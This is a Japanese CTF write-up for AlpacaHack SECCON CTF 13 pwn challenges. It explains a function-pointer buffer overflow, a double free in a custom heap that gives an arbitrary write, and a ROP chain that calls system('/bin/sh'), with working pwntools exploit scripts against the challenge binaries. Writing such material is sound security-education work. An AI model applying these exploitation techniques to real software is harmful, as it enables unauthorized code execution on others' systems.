AlpacaHack SECCON CTF 13のpwnについてのwriteupです.
danger of buffer overflow
問題のコードを見ると,getsで標準入力を受け取り,その後bye関数のアドレスが格納された関数ポインタfuncptrが実行されています.
main関数中のgets(buf)には自明なバッファオーバーフローがあります.
プログラム内にはフラグの読み出しを行うprint_flag関数が用意されているため,funcptrをこのアドレスに書き換えることで,print_flag関数を実行させることができます.
ソルバーは以下の通りです.
from pwn import *
elf = ELF('./buffer-overflow')
io = process(elf.path)
payload = b'a' * 0x8
payload += p64(elf.symbols['print_flag'])
io.sendlineafter(b'gets to buf: ', payload)
io.interactive()
play with memory
問題のコードの以下に注目します.
scanf("%4s", &number);
if (number == 12345) {
print_flag();
} else {
printf("number: %d (0x%x)", number, number);
}
int型の変数numberが12345と一致するとフラグが獲得できます. しかし,scanfでは%4sと4文字の文字として入力を受け取っているため,そのまま数字を入力してもフラグを獲得することができません. よって,整数として12345になるような文字の入力をします.
12345 = 0x3039であり,0x30と0x39はそれぞれASCIIコードで'0'と'9'を表しているので,これを入力すれば良いです.
リトルエンディアンを考慮して,この順番になるように90を入力します.
input your number!: 90
Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}
Can U Keep A Secret?
問題のコードを読むと,secretという乱数が定義されており,これと同じ数字を入力するとフラグが獲得できます. secretは以下のように設定されています.
unsigned int secret = rand(), input;
printf("secret: %u\n", secret);
// can u keep a secret??/
secret *= rand();
secret *= 0x5EC12E7;
一度secretの値が出力されますが,その後再度乱数と0x5EC12E7をかけています. ここで掛けている乱数がわからなければsecretを特定することができません.
ここで手詰まりになってしまいましたが,デコンパイルしてみるとsecret *= rand()が含まれていないことがわかります.

よって,出力された値に0x5EC12E7を掛けたものがsecretの値となり,これを入力すれば良いです.
以下がソルバーです.
from pwn import *
elf = ELF('./challenge')
io = process(elf.path)
io.recvuntil(b'secret: ')
secret = int(io.recvline().strip())
secret *= 0x5ec12e7
io.sendline(str(secret).encode())
io.interactive()
cache crasher
自前で実装したヒープやtcacheのようなものになっています. このコードの問題点を探していると,まずfree時に何も確認をしておらずdouble-freeが可能です. chunkAをfreeした後に再度freeをすると,cacheリストはchunkAのアドレスを差し続けることになります.
Cache: 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> ...
では,この状態でallocすることを考えます.
if (cache != NULL) {
res = cache;
cache = res->next_chunk;
}
この場合,cacheにchunkが存在しているため,以上のコードでallocが行われます. つまり,chuckAが返され,cacheの先頭は再度chunkAになります.
ここで,その後に入力するdataについて考えます.
union chunk {
union chunk* next_chunk;
size_t val;
};
chunkは以上のように共用型で定義されているため,next_chunkとvalは同一のアドレスを共用で利用しています.
仮にvalとして1を入力したとすると,cacheの先頭はchunkAであり,next_chunkのアドレスが1となります.
Cache: 0x4051a0 -> 0x1 Buffer: buf[0]: 0x4051a0 (val: 0x1)
よって,この状態から2度allocをすると任意のアドレスに書き込みができます. 問題の先頭では,funcptrとprint_flagのアドレスが与えら得ているため,funcptrの中身をprint_flagのアドレスに書き換えることで.print_flagを実行させることができます.
以下がソルバーです.
from pwn import *
elf = ELF('./cache')
io = process(elf.path)
def alloc(val):
io.sendlineafter(b'opcode(0: alloc, 1: free): ', b'0')
io.sendline(str(val).encode())
def free(ind):
io.sendlineafter(b'opcode(0: alloc, 1: free): ', b'1')
io.sendlineafter(b'what index to free: ', str(ind).encode())
io.recvuntil(b'address of print_flag: ')
print_flag_address = int(io.recvline().strip(), 16)
io.recvuntil(b'address of funcptr: ')
funcptr_address = int(io.recvline().strip(), 16)
alloc(0x1)
free(0)
free(0)
alloc(funcptr_address)
alloc(0x1)
alloc(print_flag_address)
io.interactive()
Alpaca Wakekko
問題のコードを見ると,'alpaca'の途中までが出力されるので,その続きを入力し続けるようなプログラムになっています.
gets(ans)にはバッファオーバーフローが存在しており,canaryも存在していないことからリターンアドレスの書き換えが可能であることがわかります.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ここで2点問題があります.
1点目は関数wakekkoを途中で終了させてはならないということです.
if(strcmp(ans, word + pos) != 0) {
system("echo ':('\n");
exit(1);
}
入力が不適切であると,このif文の内部が実行されてしまいexitでプログラムが終了してしまいます. つまり,この判定を回避して関数を終了させる必要があります.
2点目は,シェルの奪取方法です.
system関数はすでに含まれているので,これを利用することができますが,pop rdiのガジェットもなく,'/bin/sh'の文字列も含まれていないため,うまくsystem関数の引数を設定する必要があります.
まずは関数の終了についてです.

スタックの様子を見ると,ansの下にposの値が含まれているため,posを乱数に関係なく自由に設定できます. 設定した値に合わせてansを入力することで正しく判定をクリアすることができます. これでリターンアドレスを奪うことが可能になります.
次に2点目のrdiの設定方法です. ここではgets関数の終了時のrdiに注目します. gets関数の終了時には,rdiに_IO_stdfile_0_lockのアドレスが格納されます.
──────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe1c0 → 0x0000000061616161 ("aaaa"?)
$rbx : 0x727af5f2
$rcx : 0x00007ffff7f9daa0 → 0x00000000fbad208b
$rdx : 0x1
$rsp : 0x00007fffffffe1c0 → 0x0000000061616161 ("aaaa"?)
$rbp : 0x00007fffffffe1f0 → 0x00007fffffffe200 → 0x0000000000000001
$rsi : 0x1
$rdi : 0x00007ffff7f9fa80 → 0x0000000000000000
[...]
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4012de <wakekko+0068> mov rdi, rax
0x4012e1 <wakekko+006b> mov eax, 0x0
0x4012e6 <wakekko+0070> call 0x401150
→ 0x4012eb <wakekko+0075> mov eax, DWORD PTR [rbp-0x1c]
0x4012ee <wakekko+0078> movsxd rdx, eax
0x4012f1 <wakekko+007b> mov rax, QWORD PTR [rbp-0x18]
0x4012f5 <wakekko+007f> add rdx, rax
0x4012f8 <wakekko+0082> lea rax, [rbp-0x30]
0x4012fc <wakekko+0086> mov rsi, rdx
[...]
gef➤ x/xg 0x00007ffff7f9fa80
0x7ffff7f9fa80 <_IO_stdfile_0_lock>: 0x0000000000000000
このアドレスは書き込み可能であるため,一度getsを呼び出すことでrdiにIO_stdfile_0_lockのアドレスをセットし,再度getsを呼び出すことでIO_stdfile_0_lockに書き込み,rdiをIO_stdfile_0_lockにすることができます.
この後にsystemを実行することで,書き込んだ文字列をsystemに渡すことができます.
なお,IO_stdfile_0_lockに書き込まれた文字列は5文字目が1だけデクリメントされるため,/bin/shではなく/bin0shを書き込むことに注意が必要です.
以下がソルバーになります.
from pwn import *
elf = ELF('./challenge')
io = process(elf.path)
ret_addr = 0x40101a
alpaca_str_addr = 0x402004
payload = b'alpaca'
payload += b'\x00' * (0x10 - len(payload)) # 文字列のnull終端が必要
payload += p32(0x0)
payload += p32(0x0)
payload += p64(alpaca_str_addr) # "alpaca"のアドレスをそのままにする
payload += b'a' * 0x18 # オフセット
payload += p64(ret_addr)
payload += p64(elf.sym['gets'])
payload += p64(ret_addr)
payload += p64(elf.sym['gets'])
payload += p64(ret_addr)
payload += p64(elf.sym['system'])
io.sendline(payload)
io.sendline(b'a') #1回目のgetsはrdiのセットなので適当な入力で良い
io.sendline(b'/bin0sh')
io.interactive()